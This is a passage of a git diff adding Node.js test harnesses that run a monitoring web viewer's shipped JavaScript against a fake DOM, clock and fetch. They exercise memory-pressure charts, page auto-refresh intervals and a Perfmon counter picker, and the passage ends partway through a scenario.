+  const reply = answer(new URL(String(url), "http://viewer.test"));
+  const raw = reply.body === undefined ? "" : JSON.stringify(reply.body);
+  return { status: reply.status, ok: reply.status >= 200 && reply.status < 300, text: async () => raw };
+};
+
+const rejections = [];
+process.on("unhandledRejection", (e) => rejections.push(String(e && e.stack ? e.stack : e)));
+
+/* The modules, unchanged. charts.js is the shipped renderer (copied as charts-real.js) behind a wrapper that records,
+   for each chart, the lines and the unit it was asked to draw, the chart node itself, and the labels it printed
+   while drawing: the value axis's tick labels, which are the only values it formats before a pointer arrives. */
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "pressure-"));
+let modules;
+try {
+  /* Copy the whole js tree (js/, js/pages/ and every subdirectory) rather than a hand-kept list (#5279): a page module that
+     another PR adds then needs no edit here. Only imported files load, so the rest are inert; every stand-in below is
+     written AFTER the copy, so it still replaces the real file. */
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  fs.copyFileSync(path.join(scratch, "charts.js"), path.join(scratch, "charts-real.js"));
+  fs.writeFileSync(
+    path.join(scratch, "charts.js"),
+    'import { renderLineChart as drawLineChart } from "./charts-real.js";\n' +
+      'export * from "./charts-real.js";\n' +
+      "export const chartCalls = [];\n" +
+      "export function renderLineChart(opts) {\n" +
+      "  const axis = [];\n" +
+      "  let drawing = true;\n" +
+      "  const format = opts.formatValue || ((v) => String(v));\n" +
+      "  const node = drawLineChart({ ...opts, formatValue: (v) => { const text = format(v); if (drawing) axis.push(text); return text; } });\n" +
+      "  drawing = false;\n" +
+      "  chartCalls.push({ series: (opts.series || []).map((s) => ({ key: s.key, label: s.label })), unit: opts.unit == null ? null : opts.unit, mode: opts.mode || null, points: opts.points, windowStart: opts.windowStart, windowEnd: opts.windowEnd, axis, node });\n" +
+      "  return node;\n" +
+      "}\n" +
+      "export function zoomableLineChart(opts) { return renderLineChart(opts); }\n"
+  );
+  const load = (rel) => import(pathToFileURL(path.join(scratch, rel)).href);
+  modules = {
+    util: await load("util.js"),
+    tabs: await load(path.join("pages", "server-tabs.js")),
+    charts: await load("charts.js"),
+  };
+} finally {
+  fs.rmSync(scratch, { recursive: true, force: true });
+}
+
+
+const data = (body) => ({ status: 200, body });
+const tool = (url) => url.pathname.replace("/api/read/", "");
+const HOUR = 3600000;
+const top = Math.floor(Date.now() / HOUR) * HOUR;
+const at = (hoursAgo, minute) => new Date(top - hoursAgo * HOUR + minute * 60000).toISOString().slice(0, 19);
+const ev = (t, p, s, n = "RESOURCE_MEMPHYSICAL_LOW") => ({ sample_time: t, memory_notification: n, memory_indicators_process: p, memory_indicators_system: s });
+
+const scenarios = {
+  // Four samples in one hour (two SQL medium, one SQL severe + OS medium, one normal that is not drawn), one in an hour 3 back.
+  counts: () => {
+    answer = () => data({ server: "SRV1", hours_back: 6, events: [ev(at(3, 5), 2, 0), ev(at(1, 5), 2, 1), ev(at(1, 10), 3, 2), ev(at(1, 20), 0, 1), ev(at(1, 30), 1, 3)] });
+    return modules.tabs.memoryPressurePanels("SRV1", { hours: 6, label: "last 6 hours" });
+  },
+  // Only normal samples: nothing drawn, the table still lists them.
+  quiet: () => {
+    answer = () => data({ server: "SRV1", hours_back: 6, events: [ev(at(1, 5), 1, 0), ev(at(2, 5), 0, 1)] });
+    return modules.tabs.memoryPressurePanels("SRV1", { hours: 6, label: "last 6 hours" });
+  },
+  // A data answer the server stamped with a partial-window note (#4966): the grid draws it once, the chart draws none.
+  floor: () => {
+    answer = () => data({
+      server: "SRV1", hours_back: 6, window_truncated: true, effective_start: "2026-01-02T12:30:00Z",
+      truncation_note: "partial window: this panel's data starts at 2026-01-02 12:30 UTC, after the window's start at 2026-01-02 06:00 UTC.",
+      events: [ev(at(1, 5), 2, 0)],
+    });
+    return modules.tabs.memoryPressurePanels("SRV1", { hours: 6, label: "last 6 hours" });
+  },
+  empty: () => {
+    answer = () => data({ status: "empty", message: "No memory pressure events found in the requested time range." });
+    return modules.tabs.memoryPressurePanels("SRV1", { hours: 6, label: "last 6 hours" });
+  },
+};
+
+const chosen = scenarios[scenario];
+if (!chosen) throw new Error("unknown scenario " + scenario);
+
+const root = new FakeNode("main");
+modules.util.mount(root, chosen());
+for (let i = 0; i < 200; i++) await new Promise((r) => setTimeout(r, 0));
+
+const all = (node, tag, found = []) => {
+  if (!node || typeof node !== "object") return found;
+  if (node.tag === tag) found.push(node);
+  node.children.forEach((c) => all(c, tag, found));
+  return found;
+};
+const table = all(root, "table")[0] || null;
+const calls = modules.charts.chartCalls;
+
+console.log(JSON.stringify({
+  charts: calls.map((c) => ({ series: c.series, unit: c.unit, mode: c.mode, points: c.points.map((p) => [p.time, p.sql_medium, p.sql_severe, p.os_medium, p.os_severe]), windowStart: c.windowStart, windowEnd: c.windowEnd })),
+  tableRows: table ? all(table, "tr").map((tr) => all(tr, "td").map((td) => td.textContent)).filter((cells) => cells.length).length : 0,
+  notices: all(root, "div").filter((n) => n.className === "strip notice").map((n) => n.textContent),
+  empties: all(root, "div").filter((n) => n.className === "strip empty").map((n) => n.textContent),
+  errors: all(root, "div").filter((n) => n.className === "strip error").map((n) => n.textContent),
+  fetches,
+  rejections,
+}));
diff --git a/Darling/Darling.Tests/web-page-refresh-harness.mjs b/Darling/Darling.Tests/web-page-refresh-harness.mjs
new file mode 100644
index 0000000000..56f3b14784
--- /dev/null
+++ b/Darling/Darling.Tests/web-page-refresh-harness.mjs
@@ -0,0 +1,259 @@
+/* Runs the shipped app.js (the real scheduler tick, refresh-policy.js, refresh-control.js and util.js read counter)
+   against a stand-in DOM, a controllable clock and a counting fetch, and prints what the server/FinOps page
+   interval selector did as one line of JSON. WebPageRefreshIntervalBehaviourTests starts it as
+       node web-page-refresh-harness.mjs <path to wwwroot/js>
+   Every scenario plays on its own fresh module copy through a query string on the import. */
+import { pathToFileURL } from "node:url";
+import path from "node:path";
+
+const jsDir = path.resolve(process.argv[2]);
+
+class FakeNode {
+  constructor(tag) {
+    this.tag = tag; this.children = []; this.attrs = {}; this.dataset = {}; this.style = {}; this.className = "";
+    this.listeners = {}; this.parentNode = null; this.hidden = false; this.value = ""; this.textContent = "";
+    this.classList = { add() {}, remove() {}, toggle() {}, contains: () => false };
+  }
+  get firstChild() { return this.children[0] || null; }
+  appendChild(c) { if (c && typeof c === "object") c.parentNode = this; this.children.push(c); return c; }
+  append(...cs) { cs.forEach((c) => this.appendChild(c)); }
+  prepend(c) { this.children.unshift(c); }
+  removeChild(c) { const i = this.children.indexOf(c); if (i >= 0) this.children.splice(i, 1); return c; }
+  replaceChildren(...cs) { this.children = []; cs.forEach((c) => this.appendChild(c)); }
+  remove() {}
+  setAttribute(n, v) { this.attrs[n] = String(v); }
+  getAttribute(n) { return n in this.attrs ? this.attrs[n] : null; }
+  removeAttribute(n) { delete this.attrs[n]; }
+  addEventListener(t, f) { (this.listeners[t] ||= []).push(f); }
+  removeEventListener() {}
+  dispatch(t) { (this.listeners[t] || []).forEach((f) => f({ target: this, preventDefault() {}, stopPropagation() {} })); }
+  focus() {}
+  querySelector() { return null; }
+  querySelectorAll() { return []; }
+  find(pred) {
+    if (pred(this)) return this;
+    for (const c of this.children) { const f = c && c.find ? c.find(pred) : null; if (f) return f; }
+    return null;
+  }
+}
+
+const byId = {};
+for (const id of ["main", "server-list", "view-list", "statusbar", "refresh-hint"]) byId[id] = new FakeNode("div");
+const brand = new FakeNode("div");
+byId["auto-refresh-toggle"] = new FakeNode("button");
+brand.appendChild(byId["auto-refresh-toggle"]);
+
+globalThis.document = {
+  createElement: (t) => new FakeNode(t), createElementNS: (_n, t) => new FakeNode(t),
+  createTextNode: (t) => { const n = new FakeNode("#text"); n.textContent = String(t); return n; },
+  createDocumentFragment: () => new FakeNode("#frag"),
+  getElementById: (id) => byId[id] || null, querySelector: () => null, querySelectorAll: () => [],
+  addEventListener() {}, removeEventListener() {}, body: new FakeNode("body"), documentElement: new FakeNode("html"),
+  cookie: "", hidden: false,
+};
+globalThis.Node = FakeNode;
+globalThis.window = globalThis;
+globalThis.location = { hash: "#/server/alpha", pathname: "/", search: "", href: "http://localhost/", origin: "http://localhost" };
+globalThis.history = { pushState() {}, replaceState() {}, back() {} };
+const winListeners = {};
+globalThis.addEventListener = (t, f) => { (winListeners[t] ||= []).push(f); };
+globalThis.removeEventListener = () => {};
+globalThis.matchMedia = () => ({ matches: false, addEventListener() {}, removeEventListener() {} });
+globalThis.requestAnimationFrame = () => 0;
+globalThis.cancelAnimationFrame = () => {};
+let storage = new Map();
+globalThis.localStorage = {
+  getItem: (k) => (storage.has(k) ? storage.get(k) : null),
+  setItem: (k, v) => { storage.set(k, String(v)); },
+  removeItem: (k) => { storage.delete(k); },
+};
+globalThis.sessionStorage = globalThis.localStorage;
+
+let now = 1_000_000;
+Date.now = () => now;
+let tick = null;
+globalThis.setInterval = (fn) => { tick = fn; return 1; };
+globalThis.clearInterval = () => {};
+globalThis.setTimeout = () => 0;
+globalThis.clearTimeout = () => {};
+
+let fetches = 0; let renders = 0; const fetchLog = [];
+let fetchDelayMs = 0; // simulated time a read takes: each fetch holds open until the clock passes this
+let pending = [];
+globalThis.fetch = (url) => {
+  fetches++; if (String(url).includes('get_server_summary')) renders++; fetchLog.push(Math.round((now - 1000000) / 1000) + ' ' + url);
+  return new Promise((resolve) => {
+    pending.push({ at: now + fetchDelayMs, done: () => resolve({ ok: false, status: 500, json: async () => ({}), text: async () => "" }) });
+  });
+};
+const releaseDue = () => { const due = pending.filter((p) => p.at <= now); pending = pending.filter((p) => p.at > now); due.forEach((p) => p.done()); };
+const drain = async () => { for (let i = 0; i < 20; i++) await new Promise((r) => setImmediate(r)); };
+
+// Advances the clock one second at a time, running the scheduler tick, and returns the fetches that started.
+async function advance(seconds) {
+  const before = fetches;
+  for (let i = 0; i < seconds; i++) { now += 1000; releaseDue(); await drain(); tick(); await drain(); }
+  return fetches - before;
+}
+
+let n = 0; let bootDelay = 0;
+async function boot(stored, hash = "#/server/alpha") {
+  storage = new Map();
+  if (stored) storage.set("darling.pageRefresh", stored);
+  pending.forEach((p) => p.done()); pending = []; fetchDelayMs = bootDelay; tick = null;
+  await drain();
+  location.hash = hash;
+  await import(pathToFileURL(path.join(jsDir, "app.js")).href + "?run=" + (++n));
+  await drain();
+  return () => brand.find((x) => x.tag === "select");
+}
+
+const out = {};
+const select = async (find, value) => { const s = find(); s.value = value; s.dispatch("change"); await drain(); };
+const settle = async () => { for (let i = 0; i < 10; i++) { releaseDue(); await drain(); } };
+const clickRefresh = async () => { await settle(); brand.find((x) => x.attrs.id === "page-refresh-now").dispatch("click"); await settle(); };
+
+// Shared module state means each scenario re-imports app.js, whose start() adds one more control under brand:
+// reset brand between boots so find() reaches the live one.
+const fresh = async (stored, hash) => { brand.children = [byId["auto-refresh-toggle"]]; byId["auto-refresh-toggle"].parentNode = brand; return boot(stored, hash); };
+
+// Every interval: how many seconds pass before a page read starts after the page has settled.
+async function secondsToNextRead(choice) {
+  const find = await fresh(choice);
+  await advance(1); // settles the first render (instant reads)
+  const base = renders;
+  for (let s = 1; s <= 400; s++) { await advance(1); if (renders > base) return s; }
+  return null;
+}
+out.options = (await (async () => { const f = await fresh(null); return f().children.map((o) => o.attrs.value + "=" + o.textContent); })());
+out.selectedByDefault = (await (async () => { const f = await fresh(null); return f().value; })());
+out.next30 = await secondsToNextRead("30s");
+out.next1m = await secondsToNextRead("1m");
+out.next5m = await secondsToNextRead("5m");
+
+// Off fires no page reads; the shell roll-up (sidebar, views, status bar) keeps running.
+{
+  await fresh("off");
+  await advance(2);
+  const r0 = renders; const f0 = fetches;
+  await advance(900);
+  out.offPageReads = renders - r0;
+  out.offShellReads = fetches - f0;
+}
+
+// Refresh fires one immediate page refresh (and none when nothing else is due).
+{
+  const find = await fresh("off");
+  await advance(2);
+  const before = renders;
+  await clickRefresh();
+  out.refreshClickReads = renders - before;
+  out.refreshClickRerendersPage = out.refreshClickReads > 0;
+  await advance(2);
+  const rendersBefore = renders;
+  await advance(300);
+  out.refreshAfterOffReads = renders - rendersBefore;
+}
+
+// A fixed custom range: the automatic poll keeps the panels on screen (no page reads); the Refresh button re-reads.
+{
+  // The range lives in server.js, which every scenario shares, so it uses a server of its own.
+  await fresh("1m", "#/server/fixedrange");
+  await advance(2);
+  const serverPage = await import(pathToFileURL(path.join(jsDir, "pages", "server.js")).href);
+  const endMs = -86_400_000; // a window long past, against the nowMs given below
+  const err = serverPage.applyCustomRange("fixedrange", endMs - 7_200_000, endMs, endMs + 3 * 86_400_000);
+  await settle();
+  const base = renders;
+  await advance(130); // two 1-minute poll ticks
+  out.fixedRangeApplyError = err;
+  out.fixedRangePollReads = renders - base;
+  const afterPoll = renders;
+  await clickRefresh();
+  out.fixedRangeRefreshReads = renders - afterPoll;
+}
+
+// Refresh while reads are running is a no-op: a double-click sends one shell refresh and one render.
+{
+  await fresh("off");
+  await advance(2);
+  fetchDelayMs = 5000;
+  const log0 = fetchLog.length; const r0 = renders;
+  const btn = brand.find((x) => x.attrs.id === "page-refresh-now");
+  btn.dispatch("click"); btn.dispatch("click"); await drain();
+  const views = () => fetchLog.slice(log0).filter((l) => l.includes("/api/views")).length;
+  out.doubleClickViews = views();
+  out.doubleClickRenders = renders - r0;
+  out.busyWhileReading = btn.disabled === true && btn.attrs["aria-busy"] === "true" && btn.attrs.title === "Refreshing…";
+  await advance(10);
+  out.doubleClickRenders = renders - r0;
+  out.idleAfterSettle = btn.disabled === false && btn.getAttribute("aria-busy") === null;
+  fetchDelayMs = 0;
+}
+
+// A choice saved by another tab (storage event) applies here.
+{
+  const find = await fresh("1m");
+  await advance(2);
+  storage.set("darling.pageRefresh", "off");
+  (winListeners.storage || []).forEach((f) => f({ key: "darling.pageRefresh" }));
+  await drain();
+  out.storageSelectValue = find().value;
+  const r0 = renders;
+  await advance(300);
+  out.storageOffRenders = renders - r0;
+  out.storageHint = byId["refresh-hint"].textContent;
+}
+
+// Persistence: choosing writes the key; a new boot reads it back into the selector.
+{
+  const find = await fresh(null);
+  await select(find, "30s");
+  out.saved = storage.get("darling.pageRefresh") ?? null;
+  const key = storage.get("darling.pageRefresh");
+  const find2 = await fresh(key);
+  out.restoredValue = find2().value;
+}
+
+// 30 s under backoff: reads that take 20 s (> half the interval) push the next page render out to 4x the render
+// time (rather than 30 s), and a render never starts while the previous one's reads are outstanding.
+{
+  bootDelay = 20000;
+  await fresh("30s");
+  const starts = [];
+  let hintSlow = false;
+  for (let s = 0; s < 300; s++) {
+    const r = renders;
+    await advance(1);
+    if (renders > r) starts.push(s + 1);
+    if (/slow page/.test(byId["refresh-hint"].textContent)) hintSlow = true;
+  }
+  out.backoffStarts = starts;
+  out.backoffGaps = starts.slice(1).map((v, i) => v - starts[i]);
+  out.backoffHintSaysSlow = hintSlow;
+  bootDelay = 100000; // reads outlast many 30 s intervals
+  await fresh("30s");
+  const b = renders;
+  await advance(150);
+  out.stackedRenders = renders - b;
+  bootDelay = 0;
+}
+
+// Hint text through updateRefreshHint.
+{
+  await fresh("30s");
+  await advance(2);
+  out.hint30 = byId["refresh-hint"].textContent;
+  await fresh("off");
+  await advance(2);
+  out.hintOff = byId["refresh-hint"].textContent;
+  await fresh("30s", "#/fleet");
+  await advance(2);
+  out.controlHiddenOnFleet = brand.find((x) => x.attrs.id === "page-refresh-control").hidden;
+  await fresh("30s", "#/finops/alpha/utilization");
+  await advance(2);
+  out.controlHiddenOnFinops = brand.find((x) => x.attrs.id === "page-refresh-control").hidden;
+}
+
+console.log(JSON.stringify(out));
+process.exit(0);
diff --git a/Darling/Darling.Tests/web-perfmon-harness.mjs b/Darling/Darling.Tests/web-perfmon-harness.mjs
index 8e33c7ea4e..4ca677ea9a 100644
--- a/Darling/Darling.Tests/web-perfmon-harness.mjs
+++ b/Darling/Darling.Tests/web-perfmon-harness.mjs
@@ -84,13 +84,12 @@ process.on("unhandledRejection", (e) => rejections.push(String(e && e.stack ? e.
 const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "perfmon-grid-"));
 let modules;
 try {
-  fs.mkdirSync(path.join(scratch, "pages"));
+  /* Copy the whole js tree (js/, js/pages/ and every subdirectory) rather than a hand-kept list (#5279): a page module that
+     another PR adds then needs no edit here. Only imported files load, so the rest are inert; every stand-in below is
+     written AFTER the copy, so it still replaces the real file. */
+  fs.cpSync(jsDir, scratch, { recursive: true });
   fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
-  fs.copyFileSync(path.join(jsDir, "util.js"), path.join(scratch, "util.js"));
-  fs.copyFileSync(path.join(jsDir, "panels.js"), path.join(scratch, "panels.js"));
-  fs.copyFileSync(path.join(jsDir, "pages", "server-tabs.js"), path.join(scratch, "pages", "server-tabs.js"));
-  fs.copyFileSync(path.join(jsDir, "read-fields.js"), path.join(scratch, "read-fields.js"));
-  fs.copyFileSync(path.join(jsDir, "charts.js"), path.join(scratch, "charts-real.js"));
+  fs.copyFileSync(path.join(scratch, "charts.js"), path.join(scratch, "charts-real.js"));
   fs.writeFileSync(
     path.join(scratch, "charts.js"),
     'import { renderLineChart as drawLineChart } from "./charts-real.js";\n' +
@@ -104,7 +103,8 @@ try {
       "  drawing = false;\n" +
       "  chartCalls.push({ series: (opts.series || []).map((s) => ({ key: s.key, label: s.label })), unit: opts.unit == null ? null : opts.unit, axis, node });\n" +
       "  return node;\n" +
-      "}\n"
+      "}\n" +
+      "export function zoomableLineChart(opts) { return renderLineChart(opts); }\n"
   );
   const load = (rel) => import(pathToFileURL(path.join(scratch, rel)).href);
   modules = {
@@ -277,7 +277,7 @@ const charts = modules.charts.chartCalls.map((chart) => ({
 
 console.log(JSON.stringify({
   headers: table ? all(table, "th").map((th) => th.textContent) : [],
-  numericHeaders: table ? all(table, "th").map((th) => th.className === "num") : [],
+  numericHeaders: table ? all(table, "th").map((th) => String(th.className).split(" ").includes("num")) : [],
   rows: table ? all(table, "tr").map((tr) => all(tr, "td").map((td) => td.textContent)).filter((cells) => cells.length) : [],
   charts,
   errors: all(root, "div").filter((n) => n.className === "strip error").map((n) => n.textContent),
diff --git a/Darling/Darling.Tests/web-perfmon-multi-harness.mjs b/Darling/Darling.Tests/web-perfmon-multi-harness.mjs
new file mode 100644
index 0000000000..6be2754c2f
--- /dev/null
+++ b/Darling/Darling.Tests/web-perfmon-multi-harness.mjs
@@ -0,0 +1,431 @@
+/* Runs the web viewer's Perfmon panel (perfmonPanel in wwwroot/js/pages/server-tabs.js, with multi-picker.js, util.js,
+   panels.js and charts.js) against a scripted /api/read answer, clicks its multi-select picker the way a reader would,
+   and prints what the picker held, the reads it sent and the chart it drew, as one line of JSON.
+   WebPerfmonMultiSelectBehaviourTests starts it as
+       node web-perfmon-multi-harness.mjs <path to wwwroot/js> <scenario>
+   charts.js is the shipped renderer behind a wrapper that records each chart's spec, id and scope. `fetch` and the DOM
+   are stand-ins; everything else is the shipped code. */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+const [jsDir, scenario] = process.argv.slice(-2);
+
+class FakeNode {
+  constructor(tag, text) {
+    this.tag = tag;
+    this.children = [];
+    this.attrs = {};
+    this.dataset = {};
+    this.style = {};
+    this.className = "";
+    this.listeners = {};
+    this.text = text == null ? null : String(text);
+    this.classList = { add() {}, remove() {}, toggle() {}, contains: () => false };
+  }
+  get firstChild() {
+    return this.children[0] || null;
+  }
+  appendChild(child) {
+    this.children.push(child);
+    return child;
+  }
+  removeChild(child) {
+    const i = this.children.indexOf(child);
+    if (i >= 0) this.children.splice(i, 1);
+    return child;
+  }
+  setAttribute(name, value) {
+    this.attrs[name] = String(value);
+  }
+  getAttribute(name) {
+    return name in this.attrs ? this.attrs[name] : null;
+  }
+  addEventListener(type, listener) {
+    (this.listeners[type] = this.listeners[type] || []).push(listener);
+  }
+  focus() {
+    globalThis.document.activeElement = this;
+  }
+  setSelectionRange(start, end) {
+    this.selectionStart = start;
+    this.selectionEnd = end;
+  }
+  getBoundingClientRect() {
+    return { left: 0, top: 0, width: 1000, height: 320 };
+  }
+  set textContent(value) {
+    this.children = [];
+    this.text = String(value);
+  }
+  get textContent() {
+    return (this.text || "") + this.children.map((c) => c.textContent).join("");
+  }
+}
+
+globalThis.Node = FakeNode;
+globalThis.document = {
+  activeElement: null,
+  createElement: (tag) => new FakeNode(tag),
+  createElementNS: (ns, tag) => new FakeNode(tag),
+  createTextNode: (text) => new FakeNode("#text", text),
+};
+
+const fetches = [];
+let inFlight = 0;
+let maxInFlight = 0;
+let aborted = 0;
+let hold = null; /* when set, get_perfmon_trend reads wait for it (a promise) or for their signal's abort */
+let answer = () => ({ status: 200, body: {} });
+globalThis.fetch = async (url, init) => {
+  fetches.push(String(url));
+  if (hold && String(url).includes("get_perfmon_trend")) {
+    inFlight++;
+    maxInFlight = Math.max(maxInFlight, inFlight);
+    let live = true;
+    const done = () => { if (live) { live = false; inFlight--; } };
+    try {
+      await new Promise((resolve, reject) => {
+        const signal = init && init.signal;
+        const onAbort = () => {
+          aborted++;
+          done();
+          const e = new Error("aborted");
+          e.name = "AbortError";
+          reject(e);
+        };
+        if (signal && signal.aborted) return onAbort();
+        if (signal) signal.addEventListener("abort", onAbort);
+        hold.then(resolve);
+      });
+    } finally {
+      done();
+    }
+  }
+  const reply = answer(new URL(String(url), "http://viewer.test"));
+  const raw = reply.body === undefined ? "" : JSON.stringify(reply.body);
+  return { status: reply.status, ok: reply.status >= 200 && reply.status < 300, text: async () => raw };
+};
+
+const rejections = [];
+process.on("unhandledRejection", (e) => rejections.push(String(e && e.stack ? e.stack : e)));
+
+
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "perfmon-multi-"));
+let modules;
+try {
+  /* Copy the whole js tree (js/, js/pages/ and every subdirectory) rather than a hand-kept list (#5279): a page module that
+     another PR adds then needs no edit here. Only imported files load, so the rest are inert; every stand-in below is
+     written AFTER the copy, so it still replaces the real file. */
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  fs.copyFileSync(path.join(scratch, "charts.js"), path.join(scratch, "charts-real.js"));
+  fs.writeFileSync(
+    path.join(scratch, "charts.js"),
+    'import { zoomableLineChart as realZoomable } from "./charts-real.js";\n' +
+      'export * from "./charts-real.js";\n' +
+      "export const chartCalls = [];\n" +
+      "export function zoomableLineChart(spec, id, scope) {\n" +
+      "  chartCalls.push({ spec, id, scope });\n" +
+      "  return realZoomable(spec, id, scope);\n" +
+      "}\n"
+  );
+  const load = (rel) => import(pathToFileURL(path.join(scratch, rel)).href);
+  modules = {
+    util: await load("util.js"),
+    tabs: await load(path.join("pages", "server-tabs.js")),
+    charts: await load("charts.js"),
+    picker: await load("multi-picker.js"),
+  };
+} finally {
+  fs.rmSync(scratch, { recursive: true, force: true });
+}
+
+const data = (b) => ({ status: 200, body: b });
+const tool = (url) => url.pathname.replace("/api/read/", "");
+const ago = (m) => new Date(Date.now() - m * 60000).toISOString().slice(0, 19);
+
+const DEFAULTS = ["Batch Requests/sec", "SQL Compilations/sec", "SQL Re-Compilations/sec", "Query optimizations/sec", "Network IO waits"];
+const NAMES = [...DEFAULTS, "Total Server Memory (KB)", "Lock Waits/sec", "Page Splits/sec", "Memory Grants Pending",
+  "C09", "C10", "C11", "C12", "C13", "C14"];
+const GAUGES = new Set(["Total Server Memory (KB)", "Memory Grants Pending"]);
+const statsFor = (names) => data({ server: "SRV1", captured_at: "2026-01-01T00:05:00.0000000",
+  counters: names.map((n, i) => GAUGES.has(n)
+    ? { counter_name: n, instance_name: "", value: 100 + i, delta_value: null, counter_kind: "gauge" }
+    : { counter_name: n, instance_name: "", value: 1000 + i, delta_value: 5, counter_kind: "rate", per_second: 0.5 + i }) });
+const trendFor = (name) => data({
+  server: "SRV1", counter_name: name,
+  trend: GAUGES.has(name)
+    ? [{ time: ago(10), value: 100, delta_value: null }, { time: ago(5), value: 120, delta_value: null }]
+    : [{ time: ago(10), value: 1000, delta_value: 0, per_second: 1 }, { time: ago(5), value: 1100, delta_value: 100, per_second: 2 }],
+  discontinuities: [],
+});
+let failing = new Set();
+let emptyTrends = false;
+let hintedEmpty = false;
+let statNames = NAMES;
+answer = (url) => {
+  const t = tool(url);
+  if (t === "get_perfmon_stats") return statsFor(statNames);
+  if (t === "get_perfmon_trend") {
+    const w = url.searchParams.get("counter_name");
+    if (hintedEmpty && w === "SQL Compilations/sec") return data({ status: "no_data", message: "No trend data for counter '" + w + "'. It may not be a counter this server collects \u2014 see hints.collected_counters for the 2 that are.", hints: { collected_counters: ["Alpha/sec", "Beta pages"] } });
+    if (emptyTrends) return data({ status: "no_data", message: "No trend rows for " + w + "." });
+    return failing.has(w) ? { status: 500, body: { error: "boom" } } : trendFor(w);
+  }
+  return data({});
+};
+
+const all = (node, pred, found = []) => {
+  if (!node || typeof node !== "object") return found;
+  if (pred(node)) found.push(node);
+  (node.children || []).forEach((c) => all(c, pred, found));
+  return found;
+};
+const settle = async () => { for (let i = 0; i < 100; i++) await new Promise((r) => setTimeout(r, 0)); };
+const ctx = { hours: 24, label: "last 24 hours" };
+
+async function build(server) {
+  const root = new FakeNode("main");
+  modules.util.mount(root, modules.tabs.perfmonPanel(server, ctx));
+  await settle();
+  return root;
+}
+const boxes = (root) => all(root, (n) => n.tag === "input" && n.attrs.type === "checkbox");
+const checkedNames = (root) => boxes(root).filter((b) => b.checked).map((b) => b.attrs["aria-label"]);
+const listed = (root) => boxes(root).map((b) => b.attrs["aria-label"]);
+const button = (root, text) => all(root, (n) => n.tag === "button" && n.textContent === text)[0];
+const click = async (node) => { node.listeners.click.forEach((l) => l({})); await settle(); };
+const toggle = async (box, on) => { box.checked = on; box.listeners.change.forEach((l) => l({})); await settle(); };
+const typeSearch = async (root, text) => {
+  const s = all(root, (n) => n.tag === "input" && n.attrs.type === "search")[0];
+  s.value = text;
+  s.listeners.input.forEach((l) => l({}));
+  await settle();
+};
+const trendReads = () => fetches.filter((f) => f.includes("get_perfmon_trend")).map((f) => new URL(f, "http://x").searchParams.get("counter_name"));
+const lastChart = () => modules.charts.chartCalls[modules.charts.chartCalls.length - 1] || null;
+const chartInfo = () => {
+  const c = lastChart();
+  return c && { labels: c.spec.series.map((s) => s.label), points: c.spec.points.length, id: c.id, unit: c.spec.unit == null ? null : c.spec.unit };
+};
+const notes = (root) => all(root, (n) => String(n.className).includes("notice")).map((n) => n.textContent);
+
+const scenarios = {
+  allEmpty: async () => {
+    emptyTrends = true;
+    const root = await build("SRV1");
+    return { chart: chartInfo(), errors: all(root, (n) => n.className === "strip error").map((n) => n.textContent), empties: all(root, (n) => n.className === "strip empty").map((n) => n.textContent) };
+  },
+  hintedEmpty: async () => {
+    hintedEmpty = true;
+    const root = await build("SRV1");
+    return { chart: chartInfo(), notes: notes(root), errors: all(root, (n) => n.className === "strip error").map((n) => n.textContent) };
+  },
+  fastClicks: async () => {
+    const root = await build("SRV1");
+    await click(button(root, "Clear All"));
+    let release;
+    hold = new Promise((r) => (release = r));
+    fetches.length = 0;
+    maxInFlight = 0;
+    aborted = 0;
+    for (const name of ["Select All", "Default counters", "Select All", "Default counters"]) {
+      button(root, name).listeners.click.forEach((l) => l({}));
+      await new Promise((r) => setTimeout(r, 0));
+    }
+    const stillInFlight = inFlight;
+    const sent = trendReads().length;
+    release();
+    await settle();
+    return { sent, maxInFlight, stillInFlight, aborted, chart: chartInfo() };
+  },
+  /* Clicks that change WHICH series are read (a different path each), so the superseded reads are aborted rather than
+     shared: "Default counters" sends the top series, "Clear All" supersedes every one of them (each is the only caller on its read, so
+     the fetch itself is cancelled), and two single checks send two reads of their own. */
+  changedParameter: async () => {
+    const root = await build("SRV1");
+    await click(button(root, "Clear All"));
+    let release;
+    hold = new Promise((r) => (release = r));
+    fetches.length = 0;
+    maxInFlight = 0;
+    aborted = 0;
+    for (const name of ["Default counters", "Clear All"]) {
+      button(root, name).listeners.click.forEach((l) => l({}));
+      await new Promise((r) => setTimeout(r, 0));
+    }
+    const abortedByClear = aborted;
+    const readsByClear = trendReads().length;
+    await toggle(boxes(root).find((b) => b.attrs["aria-label"] === "C13"), true);
+    await toggle(boxes(root).find((b) => b.attrs["aria-label"] === "C14"), true);
+    const stillInFlight = inFlight;
+    const sent = trendReads().length;
+    const total = aborted;
+    release();
+    await settle();
+    return { readsByClear, abortedByClear, sent, aborted: total, stillInFlight, maxInFlight, chart: chartInfo() };
+  },
+  /* One series checked, then unchecked: its read has no other caller, so the fetch itself is cancelled. */
+  soleWaiterUnchecks: async () => {
+    const root = await build("SRV1");
+    await click(button(root, "Clear All"));
+    let release;
+    hold = new Promise((r) => (release = r));
+    fetches.length = 0;
+    aborted = 0;
+    const box = () => boxes(root).find((b) => b.attrs["aria-label"] === "C13");
+    await toggle(box(), true);
+    const sentAfterCheck = trendReads().length;
+    const inFlightAfterCheck = inFlight;
+    await toggle(box(), false);
+    const out = { sentAfterCheck, inFlightAfterCheck, aborted, inFlightAfterUncheck: inFlight, sent: trendReads().length };
+    release();
+    await settle();
+    return out;
+  },
+  /* apiGetJoined itself: two callers share one fetch; the first to abort leaves it running, the sole caller left cancels
+     it, and a caller after that sends a fresh request. */
+  joinedAbort: async () => {
+    const path = "/api/read/get_perfmon_trend?server=SRV1&counter_name=C13";
+    let release;
+    hold = new Promise((r) => (release = r));
+    fetches.length = 0;
+    aborted = 0;
+    const a = new AbortController();
+    const b = new AbortController();
+    const first = modules.util.apiGetJoined(path, a.signal);
+    const second = modules.util.apiGetJoined(path, b.signal);
+    await settle();
+    const sentForTwo = fetches.length;
+    const inFlightForTwo = inFlight;
+    a.abort();
+    const firstResult = await first;
